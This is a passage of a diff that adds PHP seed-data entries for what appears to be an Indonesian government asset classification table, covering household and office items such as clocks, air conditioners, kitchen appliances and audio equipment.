=> 'MEUBELAIR LAINNYA', + ], + [ + 'id_aset' => 1890, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGUKUR WAKTU', + ], + [ + 'id_aset' => 1891, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JAM MEKANIS', + ], + [ + 'id_aset' => 1892, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JAM LISTRIK', + ], + [ + 'id_aset' => 1893, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JAM ELEKTRONIK', + ], + [ + 'id_aset' => 1894, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'CONTROL CLOCK', + ], + [ + 'id_aset' => 1895, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGUKUR WAKTU LAINNYA', + ], + [ + 'id_aset' => 1896, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PEMBERSIH', + ], + [ + 'id_aset' => 1897, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN PENGHISAP DEBU/VACUUM CLEANER', + ], + [ + 'id_aset' => 1898, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN PEL/POLES', + ], + [ + 'id_aset' => 1899, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN PEMOTONG RUMPUT', + ], + [ + 'id_aset' => 1900, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN CUCI', + ], + [ + 'id_aset' => 1901, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'AIR CLEANER', + ], + [ + 'id_aset' => 1902, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'ALAT PEMBERSIH SALJU', + ], + [ + 'id_aset' => 1903, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PEMBERSIH LAINNYA', + ], + [ + 'id_aset' => 1904, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENDINGIN', + ], + [ + 'id_aset' => 1905, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'LEMARI ES', + ], + [ + 'id_aset' => 1906, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'A.C. SENTRAL', + ], + [ + 'id_aset' => 1907, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'A.C. WINDOW', + ], + [ + 'id_aset' => 1908, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'A.C. SPLIT', + ], + [ + 'id_aset' => 1909, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'PORTABLE AIR CONDITIONER (ALAT PENDINGIN)', + ], + [ + 'id_aset' => 1910, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'KIPAS ANGIN', + ], + [ + 'id_aset' => 1911, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'EXHAUSE FAN', + ], + [ + 'id_aset' => 1912, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'COLD STORAGE (ALAT PENDINGIN)', + ], + [ + 'id_aset' => 1913, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'REACH IN FREZZER', + ], + [ + 'id_aset' => 1914, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'REACH IN CHILLER', + ], + [ + 'id_aset' => 1915, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'UP RIGHT CHILLER/FREZZER', + ], + [ + 'id_aset' => 1916, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'COLD ROOM FREZZER', + ], + [ + 'id_aset' => 1917, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'AIR CURTAIN', + ], + [ + 'id_aset' => 1918, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'AIR HANDLING UNIT', + ], + [ + 'id_aset' => 1919, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENDINGIN LAINNYA', + ], + [ + 'id_aset' => 1920, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT DAPUR', + ], + [ + 'id_aset' => 1921, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'KOMPOR LISTRIK (ALAT DAPUR)', + ], + [ + 'id_aset' => 1922, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'KOMPOR GAS (ALAT DAPUR)', + ], + [ + 'id_aset' => 1923, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'KOMPOR MINYAK', + ], + [ + 'id_aset' => 1924, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'TEKO LISTRIK', + ], + [ + 'id_aset' => 1925, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'RICE COOKER (ALAT DAPUR)', + ], + [ + 'id_aset' => 1926, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'OVEN LISTRIK', + ], + [ + 'id_aset' => 1927, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'RICE WARMER', + ], + [ + 'id_aset' => 1928, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'KITCHEN SET', + ], + [ + 'id_aset' => 1929, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'TABUNG GAS', + ], + [ + 'id_aset' => 1930, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN GILING BUMBU', + ], + [ + 'id_aset' => 1931, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'TRENG AIR/TANDON AIR', + ], + [ + 'id_aset' => 1932, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'MESIN PARUTAN KELAPA', + ], + [ + 'id_aset' => 1933, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'KOMPOR KOMPRESOR', + ], + [ + 'id_aset' => 1934, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'ALAT PEMANGGANG ROTI/SATE', + ], + [ + 'id_aset' => 1935, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '015', + 'nama' => 'RAK PIRING ALUMUNIUM', + ], + [ + 'id_aset' => 1936, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '016', + 'nama' => 'ALAT PENYIMPAN BERAS', + ], + [ + 'id_aset' => 1937, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '017', + 'nama' => 'PANCI', + ], + [ + 'id_aset' => 1938, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '018', + 'nama' => 'BLENDER', + ], + [ + 'id_aset' => 1939, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '019', + 'nama' => 'MIXER', + ], + [ + 'id_aset' => 1940, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '020', + 'nama' => 'OVEN GAS', + ], + [ + 'id_aset' => 1941, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '021', + 'nama' => 'PRESTO COOKER', + ], + [ + 'id_aset' => 1942, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '022', + 'nama' => 'WONDER PAN', + ], + [ + 'id_aset' => 1943, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '023', + 'nama' => 'MESIN GILING DAGING', + ], + [ + 'id_aset' => 1944, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '024', + 'nama' => 'HEATING SET', + ], + [ + 'id_aset' => 1945, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '025', + 'nama' => 'THERMOS AIR', + ], + [ + 'id_aset' => 1946, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT DAPUR LAINNYA', + ], + [ + 'id_aset' => 1947, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT RUMAH TANGGA LAINNYA ( HOME USE )', + ], + [ + 'id_aset' => 1948, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'RADIO', + ], + [ + 'id_aset' => 1949, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'TELEVISI', + ], + [ + 'id_aset' => 1950, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'VIDEO CASSETTE', + ], + [ + 'id_aset' => 1951, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'TAPE RECORDER (ALAT RUMAH TANGGA LAINNYA ( HOME USE ))', + ], + [ + 'id_aset' => 1952, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'AMPLIFIER', + ], + [ + 'id_aset' => 1953, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'EQUALIZER', + ], + [ + 'id_aset' => 1954, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'LOUDSPEAKER', + ], + [ + 'id_aset' => 1955, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'SOUND SYSTEM', + ], + [ + 'id_aset' => 1956, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'COMPACT DISC', + ], + [ + 'id_aset' => 1957, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'LASER DISC', + ], + [ + 'id_aset' => 1958, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'KARAOKE', + ], + [ + 'id_aset' => 1959, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '012', + 'nama' => 'WIRELESS', + ], + [ + 'id_aset' => 1960, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '013', + 'nama' => 'MEGAPHONE', + ], + [ + 'id_aset' => 1961, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '014', + 'nama' => 'MICROPHONE', + ], + [ + 'id_aset' => 1962, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '015', + 'nama' => 'MICROPHONE TABLE STAND', + ], + [ + 'id_aset' => 1963, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '016', + 'nama' => 'MIC CONFERENCE', + ], + [ + 'id_aset' => 1964, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '017', + 'nama' => 'UNIT POWER SUPPLY', + ], + [ + 'id_aset' => 1965, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '018', + 'nama' => 'STEP UP/DOWN (ALAT RUMAH TANGGA LAINNYA ( HOME USE ))', + ], + [ + 'id_aset' => 1966, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '019', + 'nama' => 'STABILISATOR', + ], + [ + 'id_aset' => 1967, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '020', + 'nama' => 'CAMERA VIDEO', + ], + [ + 'id_aset' => 1968, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '021', + 'nama' => 'TUSTEL', + ], + [ + 'id_aset' => 1969, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '022', + 'nama' => 'MESIN JAHIT', + ], + [ + 'id_aset' => 1970, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '023', + 'nama' => 'TIMBANGAN ORANG', + ], + [ + 'id_aset' => 1971, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '024', + 'nama' => 'TIMBANGAN BARANG', + ], + [ + 'id_aset' => 1972, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '025', + 'nama' => 'ALAT HIASAN', + ], + [ + 'id_aset' => 1973, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '026', + 'nama' => 'LAMBANG GARUDA PANCASILA', + ], + [ + 'id_aset' => 1974, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '027', + 'nama' => 'GAMBAR PRESIDEN/WAKIL PRESIDEN', + ], + [ + 'id_aset' => 1975, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '028', + 'nama' => 'LAMBANG KORPRI/DHARMA WANITA', + ], + [ + 'id_aset' => 1976, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '029', + 'nama' => 'AQUARIUM (ALAT RUMAH TANGGA LAINNYA ( HOME USE ))', + ], + [ + 'id_aset' => 1977, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '030', + 'nama' => 'TIANG BENDERA', + ], + [ + 'id_aset' => 1978, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '031', + 'nama' => 'PATAKA', + ], + [ + 'id_aset' => 1979, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '032', + 'nama' => 'SETERIKA', + ], + [ + 'id_aset' => 1980, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '033', + 'nama' => 'WATER FILTER', + ], + [ + 'id_aset' => 1981, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '034', + 'nama' => 'TANGGA ALUMINIUM', + ], + [ + 'id_aset' => 1982, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '035', + 'nama' => 'KACA HIAS', + ], + [ + 'id_aset' => 1983, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '036', + 'nama' => 'DISPENSER', + ], + [ + 'id_aset' => 1984, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '037', + 'nama' => 'MIMBAR/PODIUM', + ], + [ + 'id_aset' => 1985, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '038', + 'nama' => 'GUCCI', + ], + [ + 'id_aset' => 1986, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '039', + 'nama' => 'TANGGA HIDROLIK', + ], + [ + 'id_aset' => 1987, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '040', + 'nama' => 'PALU SIDANG', + ], + [ + 'id_aset' => 1988, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '041', + 'nama' => 'MESIN PENGERING PAKAIAN', + ], + [ + 'id_aset' => 1989, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '042', + 'nama' => 'LAMBANG INSTANSI', + ], + [ + 'id_aset' => 1990, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '043', + 'nama' => 'LONCENG/GENTA', + ], + [ + 'id_aset' => 1991, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '044', + 'nama' => 'MESIN PEMOTONG KERAMIK', + ], + [ + 'id_aset' => 1992, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '045', + 'nama' => 'COFFEE MAKER', + ], + [ + 'id_aset' => 1993, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '046', + 'nama' => 'HANDY CAM', + ], + [ + 'id_aset' => 1994, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '047', + 'nama' => 'MESIN OBRAS', + ], + [ + 'id_aset' => 1995, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '048', + 'nama' => 'MESIN POTONG KAIN', + ], + [ + 'id_aset' => 1996, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '049', + 'nama' => 'MESIN PELUBANG KANCING', + ], + [ + 'id_aset' => 1997, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '050', + 'nama' => 'MEJA POTONG', + ], + [ + 'id_aset' => 1998, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '051', + 'nama' => 'RADER', + ], + [ + 'id_aset' => 1999, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '052', + 'nama' => 'MANEQUIN (BONEKA)', + ], + [ + 'id_aset' => 2000, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '053', + 'nama' => 'PINSET (PISAU LOBANG KANCING)', + ], + [ + 'id_aset' => 2001, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '054', + 'nama' => 'MINI COMPO', + ], + [ + 'id_aset' => 2002, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '055', + 'nama' => 'HEATER (ALAT RUMAH TANGGA LAINNYA ( HOME USE ))', + ], + [ + 'id_aset' => 2003, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '056', + 'nama' => 'KARPET', + ], + [ + 'id_aset' => 2004, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '057', + 'nama' => 'VERTIKAL BLIND', + ], + [ + 'id_aset' => 2005, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '058', + 'nama' => 'GORDYIN/KRAY', + ], + [ + 'id_aset' => 2006, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '059', + 'nama' => 'KABEL ROLL', + ], + [ + 'id_aset' => 2007, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '060', + 'nama' => 'ASBAK TINGGI', + ], + [ + 'id_aset' => 2008, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '061', + 'nama' => 'KESET KAKI', + ], + [ + 'id_aset' => 2009, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '062', + 'nama' => 'SUN SCREEN', + ], + [ + 'id_aset' => 2010, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '063', + 'nama' => 'ALAT PEMANAS RUANGAN', + ], + [ + 'id_aset' => 2011, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '064', + 'nama' => 'LEMARI PLASTIK', + ], + [ + 'id_aset' => 2012, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '065', + 'nama' => 'MESIN PENGERING TANGAN', + ], + [ + 'id_aset' => 2013, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '066', + 'nama' => 'PANGGUNG', + ], + [ + 'id_aset' => 2014, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '067', + 'nama' => 'MESIN PEDDING', + ], + [ + 'id_aset' => 2015, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '068', + 'nama' => 'DVD PLAYER', + ], + [ + 'id_aset' => 2016, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '069', + 'nama' => 'LAMPU BELAJAR', + ], + [ + 'id_aset' => 2017, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '070', + 'nama' => 'TANGGA', + ], + [ + 'id_aset' => 2018, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '071', + 'nama' => 'KABEL', + ], + [ + 'id_aset' => 2019, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '072', + 'nama' => 'LAMPU', + ], + [ + 'id_aset' => 2020, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '073', + 'nama' => 'JEMURAN', + ], + [ + 'id_aset' => 2021, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '074', + 'nama' => 'PATUNG PERAGA PAKAIAN', + ], + [ + 'id_aset' => 2022, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '075', + 'nama' => 'GENDOLA', + ], + [ + 'id_aset' => 2023, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '076', + 'nama' => 'GUNTING RUMPUT NON MESIN', + ], + [ + 'id_aset' => 2024, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '077', + 'nama' => 'BENDERA NEGARA', + ], + [ + 'id_aset' => 2025, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '078', + 'nama' => 'BINGKAI FOTO', + ], + [ + 'id_aset' => 2026, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '079', + 'nama' => 'ALAT PANGKAS RAMBUT LISTRIK', + ], + [ + 'id_aset' => 2027, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '080', + 'nama' => 'BRACKET STANDING PERALATAN', + ], + [ + 'id_aset' => 2028, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '081', 